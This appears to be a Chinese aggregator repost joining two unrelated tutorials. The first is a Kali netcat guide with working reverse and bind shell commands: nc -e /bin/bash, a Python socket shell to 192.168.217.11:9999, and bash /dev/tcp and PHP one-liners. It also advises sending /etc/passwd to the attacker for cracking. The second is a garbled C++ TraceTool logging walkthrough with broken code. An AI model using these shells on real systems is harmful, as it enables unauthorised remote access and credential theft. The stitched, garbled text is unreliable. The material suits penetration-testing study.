Kali-nc(瑞士军刀)使用

Posted 兔子扛刀

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Kali-nc(瑞士军刀)使用相关的知识,希望对你有一定的参考价值。

Netcat(简称nc)主要用于两台设备之间的交互,即侦听模式/传输,是一款强大的命令行网络工具,用来在两台机器之间建立TCP/UDP连接,并通过标准的输入输出进行数据的读写。

Command

Summary

Command

Summary

-h

帮助信息

-u

UDP模式

-r

随机本地及远程端口

-n

指定数字的IP地址,不能域名服务器

-i

secs 延时的间隔

-v

详细输出——用两个-v可得到更详细的内容

-s

addr本地源地址

-o

file记录16进制的传输

-l

监听模式,用于入站连接

-w

secs timeout 的时间

-t

使用TELNET交互方式

-p

port 本地端口号

-L

连接关闭后,仍然继续监听

-z

将输入输出关掉——用于扫描时

-e

主要用来在渗透过程中反弹shell

nc三种使用方式

1. 实现连接通讯

建立连接(服务端——客户端);

服务端:nc -lnvp +端口

客户端:nc + 服务端IP + 端口

代表监听本地的端口,输出结果不加域名。

2. 传输文件内容

从客户端传输给服务端,此方法可以用来传递/etc/passwd等口令或密钥信息,获取后可以考虑爆破;

服务端(kali):nc -lvp +端口 > 文件完整名 客户端(靶机):nc + 服务端IP + 端口 < 文件完整名

3. 获取shell

netcat主要用来在渗透过程中反弹shell,获取shell分为两种,一种是正向shell,一种是反向shell:

如果客户端连接服务器端,想要获取服务器端的shell,那么称为正向shell;

如果是客户端连接服务器,服务器端想要获取客户端的 shell,那么称为反向shell。

个人理解:对于client——server而言,正向反向,都是server端连接client端,正向为监听端口在server端,反向为监听端口在client端。

比如,server端监听9999端口,client直接连接9999端口,使得server端获得client的shell权限,这就是正向shell;

反之,client端监听9999端口,server端连接9999端口,使得server端获得client的shell权限,这就是反向shell;

正向shell演示

服务端:nc -lvp + 端口

客户端:nc + 服务端IP + 端口 -e /bin/bash

反向shell演示

服务端:nc -lvp + 端口 -e /bin/bash

客户端:nc + 服务端IP + 端口

客户端没有nc怎么办?如何反弹shell?

    可以看是否有python环境?

    有的话,用python来反弹shell;

python代替反弹shell脚本:

import socket,subprocess,os;

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);

s.connect(("192.168.217.11",9999));

os.dup2(s.fileno(),0);

os.dup2(s.fileno(),1);

os.dup2(s.fileno(),2);

p=subprocess.call(["/bin/bash","-i"]);

还可以用bash等来反弹;(实际使用报错)

bash -i >& /dev/tcp/ip/1234 0>&1

还可以用php等来反弹;(实际使用报错)

php -r '$sock=fsockopen("192.168.217.11",9999);exec("/bin/sh -i &3 2>&3");'

TraceTool 跟踪工具的瑞士军刀(C++版使用)

TraceTool查看器能够显示多种类型的来源(从提供的框架、日志文件、事件日志、或者OutputDebugString方法)。一个简单而强大的client框架发送简单的跟踪,分组跟踪。类和对象浏览器,转储,调用堆栈。


技术分享

主页:http://www.codeproject.com/KB/trace/tracetool.aspx
下载C++ demo, library, and documentation 和TraceTool viewer and documentation

以下进行測试,Visual Studio 2008 SP1环境:
1.新建基于对话框的測试project名称TestTrace。使用Unicode库,共享DLL方式。其余默认;
2.将"...\TraceTool 12.4\Cpp\Source"下的tracetool.htracetool.cpp拷贝到project文件夹下,加入到项目project里面;
3.由于project是启动预编译头的,所以双击"解决方式资源管理器"的"tracetool.cpp",把以下的当中一行:

1
//#include "stdafx.h"   // remove precompiled header 
取消凝视,改为:
1
#include "stdafx.h"   // remove precompiled header 
4.试着编译下project。能编译通过;
5.以下在对话框TestTraceDlg.cpp文件。加入头文件:
1
#include "tracetool.h" 
6.加入几个測试button。button代码例如以下:
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
/** 简单使用实例,多节点也能够使用缩进方式 */ 
void CTestTraceDlg::OnBnClickedButton1() 

    //----------------------------------单节点加入-----------------------------------     
    TTrace::Debug()->Send("你好!");                        //Debug模式 
    TTrace::Debug()->Send("这是Debug跟踪。"); 
    TTrace::Debug()->Send("你好!""这是带有凝视的"); 
 
    TTrace::Warning()->Send("This is Warning.");            //Warning模式 
 
    TTrace::Error()->Send(_T("This is Error."));            //Error模式 
    TTrace::Error()->Send("---"); 
 
    //----------------------------------多节点加入-----------------------------------   
    TraceNodeEx *nodeEx = TTrace::Debug()->CreateChildEx("多节点"); 
    nodeEx->Send(); 
    nodeEx->traceNode->Send("子节点"); 
    delete nodeEx; 
 
    //----------------------------------更改字体等-----------------------------------     
    TraceNodeEx *nodeEx2 = TTrace::Debug()->CreateChildEx("丰富节点"); 
    nodeEx2->AddFontDetail(-1,                                //列索引,-1表示全部 
                          true,                                //是否粗体 
                          false,                            //是否斜体 
                          255,                                //颜色,-1表示默认颜色 
                          12,                                //字体大小,0表示普通大小 
                          "宋体");                            //字体名称 
    nodeEx2->AddBackgroundColor(RGB(192,220,192),            //背景颜色 
                                3);                            //列索引 
    nodeEx2->Members()->Add("成员"); 
    nodeEx2->Members()->Add("成员列一""成员列二""成员列三"
                        ->SetFontDetail(1,                    //列索引,-1表示全部 
                                        false,                //是否粗体 
                                        true,                //是否斜体 
                                        7071633,            //颜色。-1表示默认颜色 
                                        12,                    //字体大小。0表示普通大小 
                                        "黑体");            //字体名称 
    nodeEx2->Members()->Add("列1"
                        ->Add("列1-1"
                            ->Add("列1-1-1""列1-1-2"); 
    nodeEx2->Send();                                        //发送节点到查看器。返回TraceNode *指针 
    nodeEx2->traceNode->ResendIconIndex(CST_ICO_COLLECT_ITEM);//改变此节点图标 
    delete nodeEx2; 
 
    //----------------------------------对象转储-----------------------------------     
    char buffer[100] = "1234567890qwertyuiop"
    TTrace::Debug()->SendDump("转储測试", NULL, "buffer变量", buffer, 15); 
 
    //----------------------------------XML字符串-----------------------------------    
    TTrace::Debug()->SendXml("XML測试""<Data>这是XML信息</Data>"); 

/** 保存查看器内容 */ 
void CTestTraceDlg::OnBnClickedButton2() 

    //----------------------------------保存到文本,不包含右边的信息-----------------------------------     
    TTrace::WindowTrace()->SaveToTextfile("日志文件.txt");    //保存到当前文件夹下,亦可完整路径 
 
    //----------------------------------保存到XML。包含右边的信息-----------------------------------     
    TTrace::WindowTrace()->SaveToXml("日志文件.xml");        //保存到当前文件夹下。亦可完整路径 

/** 设置自己主动保存查看器日志文件 */ 
void CTestTraceDlg::OnBnClickedButton3() 

    //----------------------------------设置查看器日志-----------------------------------     
    TTrace::WindowTrace()->SetLogFile("C:\\查看器日志.XML",//查看器日志文件名称 
                                      2,                    //0 禁用;1 启用;2 每日新文件(文件名称+CCYYMMDD) 
                                      -1);                    //行数限制,以開始一个新文件,-1 不限制 

/** 不发送到查看器。可单独保存跟踪消息到XML */ 
void CTestTraceDlg::OnBnClickedButton4() 

    TTrace::Options()->sendMode = None;                        //设置不发送到TraceTool 
    TTrace::Options()->SendDate = true;                        //开启示送日期 
    TTrace::Options()->SendThreadId = false;                //关闭发送线程ID 
    TTrace::WindowTrace()->SetLogFile("本地日志.XML",        //本地日志文件名称 
                                      4,                    //3 禁用;4 启用;5 每日新文件(文件名称+CCYYMMDD) 
                                      3000);                //行数限制,以開始一个新文件,-1 不限制 
    TTrace::Debug()->Send("这是多字节");                    //多字节 
    TTrace::Debug()->Send(L"这是宽字节");                    //宽字节,改动了源代码以显示中文 
7.在第四个button代码中,须要修改一些地方才干以支持中文保存XML,支持中文宽字节显示,详细修改的内容在以下给出的下载文件中。
8.执行Viewer,再编译、执行project,结果例如以下图所看到的:
技术分享

下载地址:http://download.csdn.net/detail/akof1314/3912968

扩展资料:
1.TraceTool 12.4: The Swiss-Army Knife of Trace  http://www.codeproject.com/KB/trace/tracetool.aspx
2.《C++ TraceTool API documentation》 













































































































































































以上是关于Kali-nc(瑞士军刀)使用的主要内容,如果未能解决你的问题,请参考以下文章

Linux Netcat 命令——网络工具中的瑞士军刀

Linux 系统实时监控的瑞士军刀—Glances

9.Docker技术入门与实战 --- 操作系统

Linux 系统实时监控的瑞士军刀 —— Glances

Linux 命令行里的 “瑞士军刀”

Centos下安装nc命令工具安装以及使用